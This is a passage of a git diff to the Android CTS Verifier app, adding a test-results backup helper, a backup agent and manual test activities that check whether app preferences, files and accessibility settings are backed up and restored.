         <item name="android:textSize">18sp</item>
         <item name="android:padding">5dp</item>
     </style>
-    <style name="RootLayoutPadding"/>
+    <style name="RootLayoutPadding">
+        <item name="android:padding">10dip</item>
+    </style>
 </resources>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java
index 1e83087..aa6eaba 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java
@@ -21,10 +21,12 @@
 import android.content.Context;
 import android.content.DialogInterface;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.database.DataSetObserver;
 import android.os.Bundle;
 import android.util.Log;
 import android.view.LayoutInflater;
+import android.view.MotionEvent;
 import android.view.View;
 import android.view.View.OnClickListener;
 import android.widget.Button;
@@ -49,6 +51,7 @@
     private final int mInstructionsStringId;
 
     protected Button mPrepareTestButton;
+    protected ListView mTestFeaturesList;
 
     protected int mCurrentTestPosition;
 
@@ -85,15 +88,31 @@
 
         mCurrentTestPosition = 0;
 
-        TextView instructionTextView = (TextView)findViewById(R.id.test_instructions);
+        TextView instructionTextView = (TextView) findViewById(R.id.test_instructions);
         instructionTextView.setText(mInstructionsStringId);
-        mPrepareTestButton = (Button)findViewById(R.id.prepare_test_button);
+        mPrepareTestButton = (Button) findViewById(R.id.prepare_test_button);
+        mTestFeaturesList = (ListView) findViewById(android.R.id.list);
+        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+            mTestFeaturesList.setOnTouchListener((View v, MotionEvent e) -> {
+                switch (e.getAction()) {
+                    case MotionEvent.ACTION_DOWN:
+                        v.getParent().requestDisallowInterceptTouchEvent(true);
+                        break;
+                    case MotionEvent.ACTION_UP:
+                        v.getParent().requestDisallowInterceptTouchEvent(false);
+                        break;
+                    default:
+                }
+                return false;
+            });
+        }
     }
 
     /**
      * Subclasses must add their tests items to the provided adapter(usually instances of
      * {@link DialogTestListItem} or {@link DialogTestListItemWithIcon} but any class deriving from
      * {@link TestListAdapter.TestListItem} will do).
+     *
      * @param adapter The adapter to add test items to.
      */
     protected abstract void setupTests(ArrayTestListAdapter adapter);
@@ -165,7 +184,7 @@
                 .getItem(position);
         if (test instanceof DialogTestListItem) {
             mCurrentTestPosition = position;
-            ((DialogTestListItem)test).performTest(this);
+            ((DialogTestListItem) test).performTest(this);
         } else {
             try {
                 super.handleItemClick(l, v, position, id);
@@ -180,6 +199,7 @@
 
     /**
      * Start a test's manual intent
+     *
      * @param test The test the manual intent of which is to be started.
      * @return true if activity could be started successfully, false otherwise.
      */
@@ -227,6 +247,7 @@
 
         public interface TestCallback {
             void onPass();
+
             void onFail();
         }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsBackupHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsBackupHelper.java
new file mode 100644
index 0000000..2527d57
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsBackupHelper.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier;
+
+import com.android.cts.verifier.backup.BackupTestActivity;
+
+import android.app.backup.BackupDataInputStream;
+import android.app.backup.BackupDataOutput;
+import android.app.backup.BackupHelper;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.IOException;
+
+/** {@link BackupHelper} for the test results database. */
+class TestResultsBackupHelper implements BackupHelper {
+
+    private static final String TAG = TestResultsBackupHelper.class.getSimpleName();
+
+    private static final String DB_BACKUP_KEY = "db";
+
+    private final Context mContext;
+
+    TestResultsBackupHelper(Context context) {
+        mContext = context;
+    }
+
+    @Override
+    public void performBackup(ParcelFileDescriptor oldState, BackupDataOutput data,
+            ParcelFileDescriptor newState) {
+        ContentResolver resolver = mContext.getContentResolver();
+        Cursor cursor = null;
+        try {
+            cursor = resolver.query(TestResultsProvider.getResultContentUri(mContext),
+                    null, null, null, null);
+            int nameIndex = cursor.getColumnIndex(TestResultsProvider.COLUMN_TEST_NAME);
+            int resultIndex = cursor.getColumnIndex(TestResultsProvider.COLUMN_TEST_RESULT);
+            int infoSeenIndex = cursor.getColumnIndex(TestResultsProvider.COLUMN_TEST_INFO_SEEN);
+            int detailsIndex = cursor.getColumnIndex(TestResultsProvider.COLUMN_TEST_DETAILS);
+            int metricsIndex = cursor.getColumnIndex(TestResultsProvider.COLUMN_TEST_METRICS);
+
+            ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
+            DataOutputStream dataOutput = new DataOutputStream(byteOutput);
+
+            dataOutput.writeInt(cursor.getCount());
+            while (cursor.moveToNext()) {
+                String name = cursor.getString(nameIndex);
+                int result = cursor.getInt(resultIndex);
+                int infoSeen = cursor.getInt(infoSeenIndex);
+                String details = cursor.getString(detailsIndex);
+                byte[] metricsData = cursor.getBlob(metricsIndex);
+
+                dataOutput.writeUTF(name);
+                dataOutput.writeInt(result);
+                dataOutput.writeInt(infoSeen);
+                dataOutput.writeUTF(details != null ? details : "");
+                dataOutput.writeInt(metricsData.length);
+                if (metricsData.length > 0) {
+                    dataOutput.write(metricsData);
+                }
+            }
+
+            byte[] rawBytes = byteOutput.toByteArray();
+            data.writeEntityHeader(DB_BACKUP_KEY, rawBytes.length);
+            data.writeEntityData(rawBytes, rawBytes.length);
+        } catch (IOException e) {
+            Log.e(TAG, "Couldn't backup test results...", e);
+            failBackupTest();
+        } finally {
+            if (cursor != null) {
+                cursor.close();
+            }
+        }
+    }
+
+    @Override
+    public void restoreEntity(BackupDataInputStream data) {
+        try {
+            if (DB_BACKUP_KEY.equals(data.getKey())) {
+                byte[] rawBytes = new byte[data.size()];
+                data.read(rawBytes, 0, data.size());
+
+                ByteArrayInputStream byteInput = new ByteArrayInputStream(rawBytes);
+                DataInputStream dataInput = new DataInputStream(byteInput);
+
+                int numRows = dataInput.readInt();
+                ContentValues[] values = new ContentValues[numRows];
+                for (int i = 0; i < numRows; i++) {
+                    String name = dataInput.readUTF();
+                    int result = dataInput.readInt();
+                    int infoSeen = dataInput.readInt();
+                    String details = dataInput.readUTF();
+                    int metricsDataSize = dataInput.readInt();
+
+                    values[i] = new ContentValues();
+                    values[i].put(TestResultsProvider.COLUMN_TEST_NAME, name);
+                    values[i].put(TestResultsProvider.COLUMN_TEST_RESULT, result);
+                    values[i].put(TestResultsProvider.COLUMN_TEST_INFO_SEEN, infoSeen);
+                    values[i].put(TestResultsProvider.COLUMN_TEST_DETAILS, details);
+
+                    if (metricsDataSize > 0) {
+                        byte[] metrics = new byte[metricsDataSize];
+                        dataInput.readFully(metrics);
+                        values[i].put(TestResultsProvider.COLUMN_TEST_METRICS, metrics);
+                    }
+                }
+
+                ContentResolver resolver = mContext.getContentResolver();
+                resolver.bulkInsert(TestResultsProvider.getResultContentUri(mContext), values);
+            } else {
+                Log.e(TAG, "Skipping key: " + data.getKey());
+            }
+        } catch (IOException e) {
+            Log.e(TAG, "Couldn't restore test results...", e);
+            failBackupTest();
+        }
+    }
+
+    private void failBackupTest() {
+        TestResultsProvider.setTestResult(mContext, BackupTestActivity.class.getName(),
+                TestResult.TEST_RESULT_FAILED, null /*testDetails*/, null /*testMetrics*/);
+    }
+
+    @Override
+    public void writeNewStateDescription(ParcelFileDescriptor newState) {
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/VerifierBackupAgent.java b/apps/CtsVerifier/src/com/android/cts/verifier/VerifierBackupAgent.java
new file mode 100644
index 0000000..3c980b9
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/VerifierBackupAgent.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier;
+
+import com.android.cts.verifier.backup.BackupTestActivity;
+
+import android.app.backup.BackupAgentHelper;
+
+public class VerifierBackupAgent extends BackupAgentHelper {
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        addHelper("test-results", new TestResultsBackupHelper(this));
+        addHelper("backup-test-prefs", BackupTestActivity.getSharedPreferencesBackupHelper(this));
+        addHelper("backup-test-files", BackupTestActivity.getFileBackupHelper(this));
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/backup/BackupAccessibilityTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/backup/BackupAccessibilityTestActivity.java
new file mode 100644
index 0000000..157a71c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/backup/BackupAccessibilityTestActivity.java
@@ -0,0 +1,342 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.backup;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import android.app.AlertDialog;
+import android.app.Dialog;
+import android.app.backup.BackupManager;
+import android.app.backup.FileBackupHelper;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.graphics.Color;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.util.Log;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.view.ViewGroup;
+import android.view.Window;
+import android.widget.BaseAdapter;
+import android.widget.TextView;
+import android.widget.Toast;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.PrintWriter;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Random;
+import java.util.Scanner;
+
+/**
+ * Test for checking whether Accessibility Settings are being backed up properly. It lists the
+ * values of the accessibility preferences that should get backed up and restored after running the
+ * backup manager and reinstalling the CTS verifier.
+ */
+public class BackupAccessibilityTestActivity extends PassFailButtons.ListActivity {
+
+    private static final String TAG = BackupAccessibilityTestActivity.class.getSimpleName();
+
+    private static final int INSTRUCTIONS_DIALOG_ID = 1;
+
+    private static final List<String> ACCESSIBILITY_SETTINGS = new ArrayList();
+    private static final List<String> COLOR_CORRECTION_SETTINGS = new ArrayList();
+    private static final List<String> ACCESSIBILITY_SERVICE_SETTINGS = new ArrayList();
+    private static final List<String> CAPTIONS_SETTINGS = new ArrayList();
+    private static final List<String> TTS_SETTINGS = new ArrayList();
+    private static final List<String> SYSTEM_SETTINGS = new ArrayList();
+
+    static {
+        ACCESSIBILITY_SETTINGS.add("accessibility_display_magnification_enabled");
+        ACCESSIBILITY_SETTINGS.add("accessibility_autoclick_enabled");
+        ACCESSIBILITY_SETTINGS.add("accessibility_autoclick_delay");
+        ACCESSIBILITY_SETTINGS.add("high_text_contrast_enabled");
+        ACCESSIBILITY_SETTINGS.add("incall_power_button_behavior");
+        ACCESSIBILITY_SETTINGS.add(Settings.Secure.ACCESSIBILITY_SPEAK_PASSWORD);
+        ACCESSIBILITY_SETTINGS.add("accessibility_large_pointer_icon");
+        ACCESSIBILITY_SETTINGS.add("long_press_timeout");
+        ACCESSIBILITY_SETTINGS.add(Settings.Secure.ACCESSIBILITY_DISPLAY_INVERSION_ENABLED);
+
+        COLOR_CORRECTION_SETTINGS.add("accessibility_display_daltonizer");
+        COLOR_CORRECTION_SETTINGS.add("accessibility_display_daltonizer_enabled");
+
+        CAPTIONS_SETTINGS.add("accessibility_captioning_preset");
+        CAPTIONS_SETTINGS.add("accessibility_captioning_enabled");
+        CAPTIONS_SETTINGS.add("accessibility_captioning_locale");
+        CAPTIONS_SETTINGS.add("accessibility_captioning_background_color");
+        CAPTIONS_SETTINGS.add("accessibility_captioning_foreground_color");
+        CAPTIONS_SETTINGS.add("accessibility_captioning_edge_type");
+        CAPTIONS_SETTINGS.add("accessibility_captioning_edge_color");
+        CAPTIONS_SETTINGS.add("accessibility_captioning_typeface");
+        CAPTIONS_SETTINGS.add("accessibility_captioning_font_scale");
+        CAPTIONS_SETTINGS.add("accessibility_captioning_window_color");
+
+        TTS_SETTINGS.add(Settings.Secure.TTS_DEFAULT_RATE);
+        TTS_SETTINGS.add("tts_default_locale");
+
+        ACCESSIBILITY_SERVICE_SETTINGS.add(Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
+        ACCESSIBILITY_SERVICE_SETTINGS.add("touch_exploration_granted_accessibility_services");
+        ACCESSIBILITY_SERVICE_SETTINGS.add(Settings.Secure.TOUCH_EXPLORATION_ENABLED);
+
+        SYSTEM_SETTINGS.add(Settings.System.FONT_SCALE);
+        SYSTEM_SETTINGS.add(Settings.System.STAY_ON_WHILE_PLUGGED_IN);
+        SYSTEM_SETTINGS.add(Settings.System.SCREEN_OFF_TIMEOUT);
+        SYSTEM_SETTINGS.add(Settings.System.SCREEN_BRIGHTNESS);
+        SYSTEM_SETTINGS.add(Settings.System.SCREEN_BRIGHTNESS_MODE);
+        SYSTEM_SETTINGS.add(Settings.System.TEXT_SHOW_PASSWORD);
+        SYSTEM_SETTINGS.add(Settings.System.HAPTIC_FEEDBACK_ENABLED);
+        SYSTEM_SETTINGS.add("power_sounds_enabled");
+        SYSTEM_SETTINGS.add("lockscreen_sounds_enabled");
+        SYSTEM_SETTINGS.add("pointer_speed");
+        SYSTEM_SETTINGS.add(Settings.System.VIBRATE_WHEN_RINGING);
+        SYSTEM_SETTINGS.add(Settings.System.ACCELEROMETER_ROTATION);
+    }
+
+    private BackupAdapter mAdapter;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        requestWindowFeature(Window.FEATURE_INDETERMINATE_PROGRESS);
+        setContentView(R.layout.bua_main);
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.backup_accessibility_test, R.string.backup_accessibility_info, 0);
+
+        mAdapter = new BackupAdapter(this);
+        setListAdapter(mAdapter);
+
+        new ReadCurrentSettingsValuesTask().execute();
+
+        findViewById(R.id.generate_button).setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                new ReadCurrentSettingsValuesTask().execute();
+            }
+        });
+
+        findViewById(R.id.show_instructions_button).setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                showDialog(INSTRUCTIONS_DIALOG_ID);
+            }
+        });
+    }
+
+    class ReadCurrentSettingsValuesTask extends AsyncTask<Void, Void, List<BackupItem>> {
+
+        @Override
+        protected void onPreExecute() {
+            super.onPreExecute();
+            setProgressBarIndeterminateVisibility(true);
+        }
+
+        @Override
+        protected List<BackupItem> doInBackground(Void... params) {
+            List<BackupItem> items = new ArrayList<BackupItem>();
+
+            items.add(new CategoryBackupItem(R.string.bua_settings));
+            addSecureSettings(items, ACCESSIBILITY_SETTINGS);
+
+            items.add(new CategoryBackupItem(R.string.bua_settings_color_correction));
+            addSecureSettings(items, COLOR_CORRECTION_SETTINGS);
+
+            items.add(new CategoryBackupItem(R.string.bua_settings_captions));
+            addSecureSettings(items, CAPTIONS_SETTINGS);
+
+            items.add(new CategoryBackupItem(R.string.bua_settings_tts));
+            addSecureSettings(items, TTS_SETTINGS);
+
+            items.add(new CategoryBackupItem(R.string.bua_settings_accessibility_services));
+            addSecureSettings(items, ACCESSIBILITY_SERVICE_SETTINGS);
+
+            items.add(new CategoryBackupItem(R.string.bua_settings_system));
+            addSystemSettings(items, SYSTEM_SETTINGS);
+
+            return items;
+        }
+
+        private void addSecureSettings(List<BackupItem> items, List<String> settings) {
+            for (String setting : settings) {
+                String value = Settings.Secure.getString(getContentResolver(), setting);
+                items.add(new PreferenceBackupItem(setting, value));
+            }
+        }
+
+        private void addSystemSettings(List<BackupItem> items, List<String> settings) {
+            for (String setting : settings) {
+                String value = Settings.System.getString(getContentResolver(), setting);
+                items.add(new PreferenceBackupItem(setting, value));
+            }
+        }
+
+        @Override
+        protected void onPostExecute(List<BackupItem> result) {
+            super.onPostExecute(result);
+            setProgressBarIndeterminateVisibility(false);
+            mAdapter.clear();
+            mAdapter.addAll(result);
+        }
+    }
+
+    @Override
+    public Dialog onCreateDialog(int id, Bundle args) {
+        switch (id) {
+            case INSTRUCTIONS_DIALOG_ID:
+                return new AlertDialog.Builder(this)
+                    .setIcon(android.R.drawable.ic_dialog_info)
+                    .setTitle(R.string.backup_accessibility_test)
+                    .setMessage(R.string.bua_instructions)
+                    .setPositiveButton(android.R.string.ok, null)
+                    .setNeutralButton(R.string.bu_settings, new DialogInterface.OnClickListener() {
+                        @Override
+                        public void onClick(DialogInterface dialog, int which) {
+                            startActivity(new Intent(Settings.ACTION_PRIVACY_SETTINGS));
+                        }
+                    }).create();
+
+            default:
+                return super.onCreateDialog(id, args);
+        }
+    }
+
+    interface BackupItem {
+        int getViewType();
+        View getView(LayoutInflater inflater, int position, View convertView, ViewGroup parent);
+    }
+
+    static class CategoryBackupItem implements BackupItem {
+
+        private final int mTitleResId;
+
+        CategoryBackupItem(int titleResId) {
+            mTitleResId = titleResId;
+        }
+
+        @Override
+        public int getViewType() {
+            return 0;
+        }
+
+        @Override
+        public View getView(LayoutInflater inflater, int position, View convertView,
+                ViewGroup parent) {
+            TextView view = (TextView) convertView;
+            if (convertView == null) {
+                view = (TextView) inflater.inflate(R.layout.test_category_row, parent, false);
+            }
+            view.setText(mTitleResId);
+            view.setAllCaps(true);
+            view.setTextAppearance(1);  // Bold
+            return view;
+        }
+    }
+
+    static class PreferenceBackupItem implements BackupItem {
+
+        private final String mName;
+        private final String mValue;
+
+        PreferenceBackupItem(String name, String value) {
+            mName = name;
+            mValue = value;
+        }
+
+        @Override
+        public int getViewType() {
+            if (mValue == null || mValue.equals("0")) {
+                return 1;
+            } else {
+                return 2;
+            }
+        }
+
+        @Override
+        public View getView(LayoutInflater inflater, int position, View convertView,
+                ViewGroup parent) {
+            TextView view = (TextView) convertView;
+            if (convertView == null) {
+                view = (TextView) inflater.inflate(R.layout.bu_preference_row, parent, false);
+            }
+            view.setText(mName + " : " + mValue);
+            if (mValue == null || mValue.equals("0")) {
+                view.setTextColor(Color.GREEN);
+            }
+            return view;
+        }
+    }
+
+    class BackupAdapter extends BaseAdapter {
+
+        private final LayoutInflater mLayoutInflater;
+
+        private final List<BackupItem> mItems = new ArrayList<BackupItem>();
+
+        public BackupAdapter(Context context) {
+            mLayoutInflater = (LayoutInflater) context.getSystemService(LAYOUT_INFLATER_SERVICE);
+        }
+
+        public void clear() {
+            mItems.clear();
+        }
+
+        public void addAll(List<BackupItem> items) {
+            mItems.addAll(items);
+            notifyDataSetChanged();
+        }
+
+        @Override
+        public int getCount() {
+            return mItems.size();
+        }
+
+        @Override
+        public BackupItem getItem(int position) {
+            return mItems.get(position);
+        }
+
+        @Override
+        public long getItemId(int position) {
+            return position;
+        }
+
+        @Override
+        public boolean isEnabled(int position) {
+            return false;
+        }
+
+        @Override
+        public int getViewTypeCount() {
+            return 3;
+        }
+
+        @Override
+        public int getItemViewType(int position) {
+            return getItem(position).getViewType();
+        }
+
+        @Override
+        public View getView(int position, View convertView, ViewGroup parent) {
+            return getItem(position).getView(mLayoutInflater, position, convertView, parent);
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/backup/BackupTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/backup/BackupTestActivity.java
new file mode 100644
index 0000000..cccc1c2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/backup/BackupTestActivity.java
@@ -0,0 +1,404 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.backup;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import android.app.AlertDialog;
+import android.app.Dialog;
+import android.app.backup.BackupManager;
+import android.app.backup.FileBackupHelper;
+import android.app.backup.SharedPreferencesBackupHelper;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.util.Log;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.view.ViewGroup;
+import android.view.Window;
+import android.widget.BaseAdapter;
+import android.widget.TextView;
+import android.widget.Toast;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.PrintWriter;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Random;
+import java.util.Scanner;
+
+/**
+ * Test for checking whether the BackupManager is working properly. It lists the values of
+ * several preferences and contents of files that should get backed up and restored after
+ * running the backup manager and reinstalling the CTS verifier.
+ */
+public class BackupTestActivity extends PassFailButtons.ListActivity {
+
+    private static final String TAG = BackupTestActivity.class.getSimpleName();
+
+    private static final int INSTRUCTIONS_DIALOG_ID = 1;
+
+    private static final String TEST_PREFS_1 = "test-prefs-1";
+    private static final String INT_PREF = "int-pref";
+    private static final String BOOL_PREF = "bool-pref";
+
+    private static final String TEST_PREFS_2 = "test-prefs-2";
+    private static final String FLOAT_PREF = "float-pref";
+    private static final String LONG_PREF = "long-pref";
+    private static final String STRING_PREF = "string-pref";
+
+    private static final String TEST_FILE_1 = "test-file-1";
+    private static final String TEST_FILE_2 = "test-file-2";
+
+    private BackupAdapter mAdapter;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        requestWindowFeature(Window.FEATURE_INDETERMINATE_PROGRESS);
+        setContentView(R.layout.bu_main);
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.backup_test, R.string.backup_info, 0);
+
+        mAdapter = new BackupAdapter(this);
+        setListAdapter(mAdapter);
+
+        new LoadBackupItemsTask().execute();
+
+        findViewById(R.id.generate_button).setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                new GenerateValuesTask().execute();
+            }
+        });
+    }
+
+    public static SharedPreferencesBackupHelper getSharedPreferencesBackupHelper(Context context) {
+        return new SharedPreferencesBackupHelper(context, TEST_PREFS_1, TEST_PREFS_2);
+    }
+
+    public static FileBackupHelper getFileBackupHelper(Context context) {
+        return new FileBackupHelper(context, TEST_FILE_1, TEST_FILE_2);
+    }
+
+    class LoadBackupItemsTask extends AsyncTask<Void, Void, List<BackupItem>> {
+
+        @Override
+        protected void onPreExecute() {
+            super.onPreExecute();
+            setProgressBarIndeterminateVisibility(true);
+        }
+
+        @Override
+        protected List<BackupItem> doInBackground(Void... params) {
+            List<BackupItem> items = new ArrayList<BackupItem>();
+
+            items.add(new CategoryBackupItem(R.string.bu_preferences));
+            loadPreferenceGroup1(items);
+            loadPreferenceGroup2(items);
+
+            items.add(new CategoryBackupItem(R.string.bu_files));
+            loadFile(TEST_FILE_1, items);
+            loadFile(TEST_FILE_2, items);
+
+            return items;
+        }
+
+        private void loadPreferenceGroup1(List<BackupItem> items) {
+            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
+
+            int intValue = prefs.getInt(INT_PREF, 0);
+            items.add(new PreferenceBackupItem(TEST_PREFS_1, INT_PREF, "" + intValue));
+
+            boolean boolValue = prefs.getBoolean(BOOL_PREF, false);
+            items.add(new PreferenceBackupItem(TEST_PREFS_1, BOOL_PREF, "" + boolValue));
+        }
+
+        private void loadPreferenceGroup2(List<BackupItem> items) {
+            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_2, MODE_PRIVATE);
+
+            float floatValue = prefs.getFloat(FLOAT_PREF, 0.0f);
+            items.add(new PreferenceBackupItem(TEST_PREFS_2, FLOAT_PREF, "" + floatValue));
+
+            long longValue = prefs.getLong(LONG_PREF, 0L);
+            items.add(new PreferenceBackupItem(TEST_PREFS_2, LONG_PREF, "" + longValue));
+
+            String stringValue = prefs.getString(STRING_PREF, null);
+            items.add(new PreferenceBackupItem(TEST_PREFS_2, STRING_PREF, stringValue));
+        }
+
+        private void loadFile(String fileName, List<BackupItem> items) {
+            StringBuilder contents = new StringBuilder();
+            Scanner scanner = null;
+            try {
+                scanner = new Scanner(new File(getFilesDir(), fileName));
+                while (scanner.hasNext()) {
+                    contents.append(scanner.nextLine());
+                }
+                scanner.close();
+            } catch (FileNotFoundException e) {
+                Log.e(TAG, "Couldn't find test file but this may be fine...", e);
+            } finally {
+                if (scanner != null) {
+                    scanner.close();
+                }
+            }
+            items.add(new FileBackupItem(fileName, contents.toString()));
+        }
+
+        @Override
+        protected void onPostExecute(List<BackupItem> result) {
+            super.onPostExecute(result);
+            setProgressBarIndeterminateVisibility(false);
+            mAdapter.clear();
+            mAdapter.addAll(result);
+        }
+    }
+
+    class GenerateValuesTask extends AsyncTask<Void, Void, Exception> {
+
+        @Override
+        protected Exception doInBackground(Void... params) {
+            Random random = new Random();
+            generatePreferenceGroup1(random);
+            generatePreferenceGroup2(random);
+            try {
+                generateTestFile(TEST_FILE_1, random);
+                generateTestFile(TEST_FILE_2, random);
+            } catch (FileNotFoundException e) {
+                return e;
+            }
+            return null;
+        }
+
+        private void generatePreferenceGroup1(Random random) {
+            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
+            SharedPreferences.Editor editor = prefs.edit();
+            editor.putInt(INT_PREF, (random.nextInt(100) + 1));
+            editor.putBoolean(BOOL_PREF, random.nextBoolean());
+            editor.commit();
+        }
+
+        private void generatePreferenceGroup2(Random random) {
+            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_2, MODE_PRIVATE);
+            SharedPreferences.Editor editor = prefs.edit();
+            editor.putFloat(FLOAT_PREF, random.nextFloat());
+            editor.putLong(LONG_PREF, random.nextLong());
+            editor.putString(STRING_PREF, "Random number: " + (random.nextInt(100) + 1));
+            editor.commit();
+        }
+
+        private void generateTestFile(String fileName, Random random)
+                throws FileNotFoundException {
+            File file = new File(getFilesDir(), fileName);
+            PrintWriter writer = new PrintWriter(file);
+            writer.write("Random number: " + (random.nextInt(100) + 1));
+            writer.close();
+        }
+
+        @Override
+        protected void onPostExecute(Exception exception) {
+            super.onPostExecute(exception);
+            if (exception != null) {
+                Log.e(TAG, "Couldn't generate test data...", exception);
+                Toast.makeText(BackupTestActivity.this, R.string.bu_generate_error,
+                        Toast.LENGTH_LONG).show();
+            } else {
+                showDialog(INSTRUCTIONS_DIALOG_ID);
+
+                BackupManager backupManager = new BackupManager(BackupTestActivity.this);
+                backupManager.dataChanged();
+
+                new LoadBackupItemsTask().execute();
+            }
+        }
+    }
+
+    @Override
+    public Dialog onCreateDialog(int id, Bundle args) {
+        switch (id) {
+            case INSTRUCTIONS_DIALOG_ID:
+                return new AlertDialog.Builder(this)
+                    .setIcon(android.R.drawable.ic_dialog_info)
+                    .setTitle(R.string.backup_test)
+                    .setMessage(R.string.bu_instructions)
+                    .setPositiveButton(android.R.string.ok, null)
+                    .setNeutralButton(R.string.bu_settings, new DialogInterface.OnClickListener() {
+                        @Override
+                        public void onClick(DialogInterface dialog, int which) {
+                            startActivity(new Intent(Settings.ACTION_PRIVACY_SETTINGS));
+                        }
+                    })
+                    .create();
+
+            default:
+                return super.onCreateDialog(id, args);
+        }
+    }
+
+    interface BackupItem {
+        int getViewType();
+        View getView(LayoutInflater inflater, int position, View convertView, ViewGroup parent);
+    }
+
+    static class CategoryBackupItem implements BackupItem {
+
+        private final int mTitleResId;
+
+        CategoryBackupItem(int titleResId) {
+            mTitleResId = titleResId;
+        }
+
+        @Override
+        public int getViewType() {
+            return 0;
+        }
+
+        @Override
+        public View getView(LayoutInflater inflater, int position, View convertView,
+                ViewGroup parent) {
+            TextView view = (TextView) convertView;
+            if (convertView == null) {
+                view = (TextView) inflater.inflate(R.layout.test_category_row, parent, false);
+            }
+            view.setText(mTitleResId);
+            return view;
+        }
+    }
+
+    static class PreferenceBackupItem implements BackupItem {
+
+        private final String mGroup;
+
+        private final String mName;
+
+        private final String mValue;
+
+        PreferenceBackupItem(String group, String name, String value) {
+            mGroup = group;
+            mName = name;
+            mValue = value;
+        }
+
+        @Override
+        public int getViewType() {
+            return 1;
+        }
+
+        @Override
